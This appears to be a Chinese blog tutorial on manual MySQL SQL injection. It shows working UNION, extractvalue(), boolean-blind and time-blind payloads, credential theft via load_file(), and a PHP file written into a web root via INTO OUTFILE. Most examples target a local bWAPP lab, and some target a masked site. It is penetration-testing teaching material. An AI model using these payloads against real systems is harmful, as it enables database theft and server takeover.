前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MySQL手工注入简述

MySQL手工注入简述

作者头像
信安本原
发布2020-03-08 16:45:57
1.4K0
发布2020-03-08 16:45:57
举报
文章被收录于专栏:信安本原信安本原

对于MySQL的注入内容,网上有很多的例子,MySQL注入也是我们平时最容易见到的,这里仅仅拿出来几个例子来说明一下。

目录

0x01常用命令

0x02常规union显注

0x03extractvalue()显注

0x04基于布尔的盲注

0x05基于时间的盲注

0x06文件读取

0x07文件写入

注:在0x06和0x07中,默认参数--secure-file-priv不为null

0x01常用命令

对于注入来说,你首先要对基本的查询语句足够的了解,多熟悉一种查询方法,在实际测试过程中,就多一点机会。

这里先说两种常用的单行查询的语句,因为在注入过程中,经常会遇到内容显示不全等现象,所以限制输出行数是很必要的

代码语言:javascript
复制
concat(str1,str2,…)

concat()函数用于将多个字符串连接成一个字符串,如有任何一个参数为NULL ,则返回值为 NULL。

代码语言:javascript
复制
concat_ws(‘指定分隔符’,str1,str2,str3...)

concat_ws()函数与concat()函数的不同在于concat_ws()函数不会因为中间的空值而整体返回空,只有在分隔符为空时,才整体返回空

其他的语句,在后面提到的时候会说

还有几种就是MySQL的内置变量,在做信息收集的时候会用到

代码语言:javascript
复制
version() 当前数据库的版本号
代码语言:javascript
复制
database() 当前所在数据库
代码语言:javascript
复制
user() 当前数据库用户权限
代码语言:javascript
复制
@@datadir 数据文件的存放目录
代码语言:javascript
复制
@@basedir 数据库的安装路径
代码语言:javascript
复制
@@hostname 当前主机名(可以判断是否是虚拟机)
代码语言:javascript
复制
@@version_compile_os 判断使用的系统

0x02常规union显注

接下来先举一个简单的例子说一下MySQL的注入

这是正常页面

加单引号或者反斜杠等等,看他是否会报错

报错了,八九不离十是存在注入的

再使用and或者or,来确定一下

这是存在注入无疑了

之后就使用order by来判断字段

总字段数有4个

接下来使用union select来确定数据位

确定数据位为2和3

之后就可以利用这两个位,来得到我们想要的信息

这里还有个坑,需要大家知道一下,针对mssql等其他数据库,这里使用数字可能就不行了,那就需要使用null来代替了

至于如何爆出信息来,就只能是挨个去测试了

接下来,查询该用户所能查看到的数据库

可以看到这里有三个数据库

查看数据库中的表

这个tbl_usr可能就是我们所需要的

接下来就是查字段了

再往后就是查数据了

由于是明文存储,直接获取到密码。

其实在前面的例子中,它会把数据分行来显示出来,这样就不存在被截断看不到的现象了,如果存在的话就使用limit来限制就可以了

0x03 extractvalue()显注

extractvalue() :对XML文档进行查询的函数

代码语言:javascript
复制
extractvalue(目标xml文档,xml路径)

具体的函数前面也已经说过了,这里就不提了,直接看操作

正常页面

使其报错

首先先查看它的版本号,数据库等信息

查数据库的安装位置也是必要的,在实在爆不出来绝对路径的时候,可以使用此路径才猜测

接下来,开始爆数据库

此时可以发现,它由于返回值超过了一个,所以不能返回,这时,我们就需要通过limit来限制它的输出

代码语言:javascript
复制
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 0,1)))-- +&action=go
代码语言:javascript
复制
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 1,1)))-- +&action=go

接下来,爆表名

代码语言:javascript
复制
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables where table_schema=0x6257415050 limit 0,1)))-- +&action=go

也是通过limit来限制输出,直到找到我们所需要的值

接下来就去跑字段和账号密码了,跟前面的方法一样,就不多说了

还有一种是updatexml()显注,跟这个完全类似,就不多说了

0x04基于布尔的盲注

这是正常访问的页面

使它报错

基本可以判断存在注入

再确定一下 and 1=1,返回正常

and 1=2,还是返回正常

这是什么情况?难道不存在注入?

不是的,其实它不是数字型的注入,它传入到数据库进行查询的时候,是按照字符串来进行查询的

说明它确实是存在注入的,而且是字符型的注入

具体的查询方法还是跟之前的一样,不过因为是盲注,就比较复杂了

通过limit和ASCII码来一个字符一个字符的对碰,可以借助burp等工具来帮助我们去实现

代码语言:javascript
复制
**********.php?id=31660' and (select ascii(substring((selectversion()),1,1))=53) and 'aaa'='aaa

这里等于53时,返回页面正常,说明值正确,查看ASCII码表

53对应的是5,说明第一个值为5

然后limit限制第二个值,变换后面的内容,来查看其为多少

代码语言:javascript
复制
**********.php?id=31660' and (select ascii(substring((selectversion()),2,1))=46) and 'aaa'='aaa

当值为46时,返回正常,对应ASCII码表

当值为46时,为点

接下来,判断第三个

代码语言:javascript
复制
**********.php?id=31660' and (select ascii(substring((selectversion()),3,1))=53) and 'aaa'='aaa

发现当值为53时,返回正常页面,根据ASCII码表,得知53对应的ascii码为5,所以初步得到这个它的版本为“5.5.*******”,后面的内容按照这个方法依次去猜解就可以了

对于猜表名等,只需要将这里的查询版本改换成前面所使用的对应的语句,就可以进行判断了,

0x05基于时间的盲注

其实基于时间的盲注跟基于布尔的盲注基本一样,不同的是布尔盲注是看返回页面的正常与否,时间盲注是看页面是否卡顿即sleep的秒数

还是在刚才的那个例子上,稍加变动即可

代码语言:javascript
复制
**********.php?id=31660' and if((ascii(mid((select version()),1,1))=53),sleep(5),1) and 'aaa'='aaa

主要就是看它是否会等待足够的时长

之后跟前面一样,只需要改变其中需要查询的值,然后按位去判断就可以了

0x06文件读取

这里,我们就省略掉前几个步骤,直接从union联合查询开始

代码语言:javascript
复制
http://127.0.0.1/bWAPP/sqli_2.php?movie= -1 union select 1,2,3,4,5,6,7 from information_schema.schemata -- +&action=go

首先,这里先找到了它哪几个位置可以显示值

比如说这里我们要查看这个文件

D:\phpstudy\PHPTutorial\WWW\bWAPP\admin\settings.php

先将它hex编码一下

代码语言:javascript
复制
0x443A5C70687073747564795C5048505475746F7269616C5C5757575C62574150505C61646D696E5C73657474696E67732E706870

然后套用函数来查看,load_file(文件的绝对路径的hex值) 来读取文件

代码语言:javascript
复制
http://127.0.0.1/bWAPP/sqli_2.php?movie= -1 union select 1,load_file(0x443A5C70687073747564795C5048505475746F7269616C5C5757575C62574150505C61646D696E5C73657474696E67732E706870),3,4,5,6,7-- +&action=go

咦,为什么跟我们预想的不一样呢,为什么数字2的位置为空了

其实,这个是它代码的原因,我们只需要查看源代码,就可以看到了

可以发现这里的代码都已经被注释掉了,不过不影响我们读内容

数据库的账号密码和数据库名都在这里了

0x07文件写入

这里的注意事项,在第六点的时候已经提到过了

这里我们假设要把 <?php phpinfo();?> ,写入到

D:\phpstudy\PHPTutorial\WWW\bWAPP\admin目录下的123.php这个文件中

通过intooutfile '绝对路径' 来写

代码语言:javascript
复制
http://127.0.0.1/bWAPP/sqli_2.php?movie=-1 union select 1,0x3C3F70687020706870696E666F28293B3F3E,3,4,5,6,7 into outfile 'D:/phpstudy/PHPTutorial/WWW/bWAPP/admin/123.php' -- +&action=go

虽然报错了,但是这里并不影响

可以发现已经写入成功了

访问也是没有任何问题的

就简单提到这里,之后有需要的时候再展开某一块详细说明。

推荐阅读

  1. Linux重定向及反弹shell详解
  2. 部署IIS+PHP+Oracle环境
  3. Linux目录结构及开机流程详解
  4. 部署IIS+PHP+SQL server环境
  5. Kerberoasting攻击
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无心的梦呓 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档